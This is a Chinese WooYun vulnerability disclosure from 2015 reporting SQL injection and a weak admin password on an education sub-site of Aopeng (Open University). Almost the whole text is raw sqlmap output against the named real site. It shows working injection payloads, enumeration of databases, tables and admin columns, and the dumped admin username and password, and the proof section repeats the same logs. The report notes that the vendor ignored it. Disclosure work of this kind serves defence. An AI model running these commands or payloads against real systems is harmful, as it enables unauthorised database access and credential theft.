奥鹏教育某分站教育网存在sql注入后台弱口令

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156384

漏洞标题：奥鹏教育某分站教育网存在sql注入后台弱口令

漏洞作者：路人甲

提交时间：2015-11-27 17:23

修复时间：2015-12-02 17:24

公开时间：2015-12-02 17:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27：细节已通知厂商并且等待厂商处理中
2015-12-02：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6*
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:25:57
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:25:58] [INFO] testing connection to the target URL
[16:25:58] [INFO] testing if the target URL is stable
[16:25:59] [INFO] target URL is stable
[16:25:59] [INFO] testing if URI parameter '#1*' is dynamic
[16:26:00] [INFO] confirming that URI parameter '#1*' is dynamic
[16:26:00] [INFO] URI parameter '#1*' is dynamic
[16:26:00] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
 not be injectable
[16:26:00] [INFO] testing for SQL injection on URI parameter '#1*'
[16:26:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:26:03] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[16:26:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[16:26:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:26:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:26:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:26:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:26:04] [INFO] testing 'MySQL inline queries'
[16:26:05] [INFO] testing 'PostgreSQL inline queries'
[16:26:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:26:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:26:05] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[16:26:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:26:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[16:26:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[16:26:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:26:43] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-base
d blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[16:26:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:26:44] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:26:45] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[16:26:49] [INFO] target URL appears to have 15 columns in query
[16:26:56] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 c
olumns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) re
quests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:01] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:01
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:05
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:07] [INFO] resuming back-end DBMS 'mysql'
[16:27:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:07] [INFO] fetching database names
[16:27:08] [INFO] the SQL query used returns 2 entries
[16:27:08] [INFO] retrieved: information_schema
[16:27:08] [INFO] retrieved: aopengx
available databases [2]:
[*] aopengx
[*] information_schema
[16:27:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:08
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --tables -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:52
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:53] [INFO] resuming back-end DBMS 'mysql'
[16:27:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:54] [INFO] fetching tables for database: 'aopengx'
[16:27:55] [INFO] the SQL query used returns 53 entries
[16:27:55] [INFO] retrieved: t_admin
[16:27:56] [INFO] retrieved: t_bulk
[16:27:56] [INFO] retrieved: t_bulktype
[16:27:56] [INFO] retrieved: t_city
[16:27:57] [INFO] retrieved: t_content
[16:27:57] [INFO] retrieved: t_custnews
[16:27:58] [INFO] retrieved: t_download
[16:27:58] [INFO] retrieved: t_downtype
[16:27:59] [INFO] retrieved: t_edunews
[16:28:02] [INFO] retrieved: t_edunewstype
[16:28:03] [INFO] retrieved: t_elegantimage
[16:28:03] [INFO] retrieved: t_fashion
[16:28:03] [INFO] retrieved: t_feedback
[16:28:04] [INFO] retrieved: t_focusfigure
[16:28:04] [INFO] retrieved: t_global
[16:28:05] [INFO] retrieved: t_goodnews
[16:28:05] [INFO] retrieved: t_goodzzyjs
[16:28:06] [INFO] retrieved: t_gradnews
[16:28:06] [INFO] retrieved: t_gradnewstype
[16:28:07] [INFO] retrieved: t_guide_xl
[16:28:07] [INFO] retrieved: t_guide_zzyjs
[16:28:07] [INFO] retrieved: t_images
[16:28:08] [INFO] retrieved: t_jobs
[16:28:08] [INFO] retrieved: t_join_news
[16:28:39] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[16:28:40] [INFO] retrieved: t_joins
[16:28:40] [INFO] retrieved: t_language
[16:28:41] [INFO] retrieved: t_map
[16:28:41] [INFO] retrieved: t_message
[16:28:42] [INFO] retrieved: t_miennews
[16:28:42] [INFO] retrieved: t_miennewstype
[16:28:43] [INFO] retrieved: t_news
[16:28:43] [INFO] retrieved: t_newstype
[16:28:44] [INFO] retrieved: t_order
[16:28:44] [INFO] retrieved: t_orderdetail
[16:28:44] [INFO] retrieved: t_outlets
[16:28:45] [INFO] retrieved: t_pic
[16:28:45] [INFO] retrieved: t_pictype
[16:28:46] [INFO] retrieved: t_plugin
[16:28:46] [INFO] retrieved: t_post
[16:28:47] [INFO] retrieved: t_problem
[16:28:47] [INFO] retrieved: t_problemtype
[16:28:48] [INFO] retrieved: t_problemzzyjs
[16:28:48] [INFO] retrieved: t_problemzzyjstype
[16:28:48] [INFO] retrieved: t_process
[16:28:49] [INFO] retrieved: t_products
[16:28:49] [INFO] retrieved: t_protype
[16:28:50] [INFO] retrieved: t_resume
[16:28:50] [INFO] retrieved: t_role
[16:28:50] [INFO] retrieved: t_schoolxl
[16:28:51] [INFO] retrieved: t_schoolzzyjs
[16:28:51] [INFO] retrieved: t_storeimage
[16:28:51] [INFO] retrieved: t_team
[16:28:51] [INFO] retrieved: t_train
Database: aopengx
[53 tables]
+--------------------+
| t_admin            |
| t_bulk             |
| t_bulktype         |
| t_city             |
| t_content          |
| t_custnews         |
| t_download         |
| t_downtype         |
| t_edunews          |
| t_edunewstype      |
| t_elegantimage     |
| t_fashion          |
| t_feedback         |
| t_focusfigure      |
| t_global           |
| t_goodnews         |
| t_goodzzyjs        |
| t_gradnews         |
| t_gradnewstype     |
| t_guide_xl         |
| t_guide_zzyjs      |
| t_images           |
| t_jobs             |
| t_join_news        |
| t_joins            |
| t_language         |
| t_map              |
| t_message          |
| t_miennews         |
| t_miennewstype     |
| t_news             |
| t_newstype         |
| t_order            |
| t_orderdetail      |
| t_outlets          |
| t_pic              |
| t_pictype          |
| t_plugin           |
| t_post             |
| t_problem          |
| t_problemtype      |
| t_problemzzyjs     |
| t_problemzzyjstype |
| t_process          |
| t_products         |
| t_protype          |
| t_resume           |
| t_role             |
| t_schoolxl         |
| t_schoolzzyjs      |
| t_storeimage       |
| t_team             |
| t_train            |
+--------------------+
[16:28:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:28:51
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --columns -T t_admin -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:33:28
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:33:29] [INFO] resuming back-end DBMS 'mysql'
[16:33:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:33:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:33:30] [INFO] fetching columns for table 't_admin' in database 'aopengx'
[16:33:30] [INFO] the SQL query used returns 7 entries
[16:33:31] [INFO] retrieved: "id","int(11)"
[16:33:31] [INFO] retrieved: "UserName","varchar(255)"
[16:33:31] [INFO] retrieved: "PassWord","varchar(510)"
[16:33:31] [INFO] retrieved: "UserRoleID","int(11)"
[16:33:32] [INFO] retrieved: "OrderDesc","int(11)"
[16:33:32] [INFO] retrieved: "RealName","varchar(255)"
[16:33:32] [INFO] retrieved: "IsLock","tinyint(3)"
Database: aopengx
Table: t_admin
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| id         | int(11)      |
| IsLock     | tinyint(3)   |
| OrderDesc  | int(11)      |
| PassWord   | varchar(510) |
| RealName   | varchar(255) |
| UserName   | varchar(255) |
| UserRoleID | int(11)      |
+------------+--------------+
[16:33:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:33:32
C:\Python27\sqlmap>
root@kailroot:~# sqlmap -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6* --dump -T t_admin -C "UserName,PassWord" -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20151024}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:40:04
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
[16:40:06] [INFO] testing connection to the target URL
[16:40:06] [INFO] testing if the target URL is stable
[16:40:07] [INFO] target URL is stable
[16:40:07] [INFO] testing if URI parameter '#1*' is dynamic
[16:40:07] [INFO] confirming that URI parameter '#1*' is dynamic
[16:40:08] [INFO] URI parameter '#1*' is dynamic
[16:40:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[16:40:08] [INFO] testing for SQL injection on URI parameter '#1*'
[16:40:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:40:10] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[16:40:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:40:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:40:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:40:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:40:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:40:14] [INFO] testing 'MySQL inline queries'
[16:40:15] [INFO] testing 'PostgreSQL inline queries'
[16:40:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:40:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:40:15] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:40:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:40:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:40:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:40:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:40:49] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[16:40:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:40:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:40:55] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:40:57] [INFO] target URL appears to have 15 columns in query
[16:41:01] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 2070=2070 AND ('oyvm'='oyvm
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SELECT * FROM (SELECT(SLEEP(5)))wzmd) AND ('GSvY'='GSvY
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-2709') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a716271,0x7674436b625063665543,0x716b6a7071),NULL,NULL-- 
---
[16:41:04] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:41:04] [INFO] fetching columns 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:41:05] [WARNING] unable to retrieve column names for table 't_admin' in database 'aopengx'
[16:41:05] [INFO] fetching entries of column(s) 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [INFO] fetching number of column(s) 'PassWord, UserName' entries for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:41:05] [INFO] retrieved: 1
[16:41:06] [INFO] retrieved: 123456
[16:41:19] [INFO] retrieved: 123456
[16:41:32] [INFO] analyzing table dump for possible password hashes
Database: aopengx
Table: t_admin
[1 entry]
+----------+----------+
| UserName | PassWord |
+----------+----------+
| 123456   | 123456   |
+----------+----------+
[16:41:32] [INFO] table 'aopengx.t_admin' dumped to CSV file '/root/.sqlmap/output/www.nbopen.com.cn/dump/aopengx/t_admin.csv'
[16:41:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbopen.com.cn'
[*] shutting down at 16:41:32
root@kailroot:~#

$XIB8R]S8P_0TH8ZL](%{{TC.png$

有图可知账户密码为123456
进入后台看下

漏洞证明：

C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6*
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:25:57
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:25:58] [INFO] testing connection to the target URL
[16:25:58] [INFO] testing if the target URL is stable
[16:25:59] [INFO] target URL is stable
[16:25:59] [INFO] testing if URI parameter '#1*' is dynamic
[16:26:00] [INFO] confirming that URI parameter '#1*' is dynamic
[16:26:00] [INFO] URI parameter '#1*' is dynamic
[16:26:00] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
 not be injectable
[16:26:00] [INFO] testing for SQL injection on URI parameter '#1*'
[16:26:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:26:03] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[16:26:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[16:26:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:26:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:26:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:26:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:26:04] [INFO] testing 'MySQL inline queries'
[16:26:05] [INFO] testing 'PostgreSQL inline queries'
[16:26:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:26:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:26:05] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[16:26:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:26:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[16:26:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[16:26:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:26:43] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-base
d blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[16:26:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:26:44] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:26:45] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[16:26:49] [INFO] target URL appears to have 15 columns in query
[16:26:56] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 c
olumns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) re
quests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:01] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:01
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:05
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:07] [INFO] resuming back-end DBMS 'mysql'
[16:27:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:07] [INFO] fetching database names
[16:27:08] [INFO] the SQL query used returns 2 entries
[16:27:08] [INFO] retrieved: information_schema
[16:27:08] [INFO] retrieved: aopengx
available databases [2]:
[*] aopengx
[*] information_schema
[16:27:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:08
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --tables -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:52
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:53] [INFO] resuming back-end DBMS 'mysql'
[16:27:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:54] [INFO] fetching tables for database: 'aopengx'
[16:27:55] [INFO] the SQL query used returns 53 entries
[16:27:55] [INFO] retrieved: t_admin
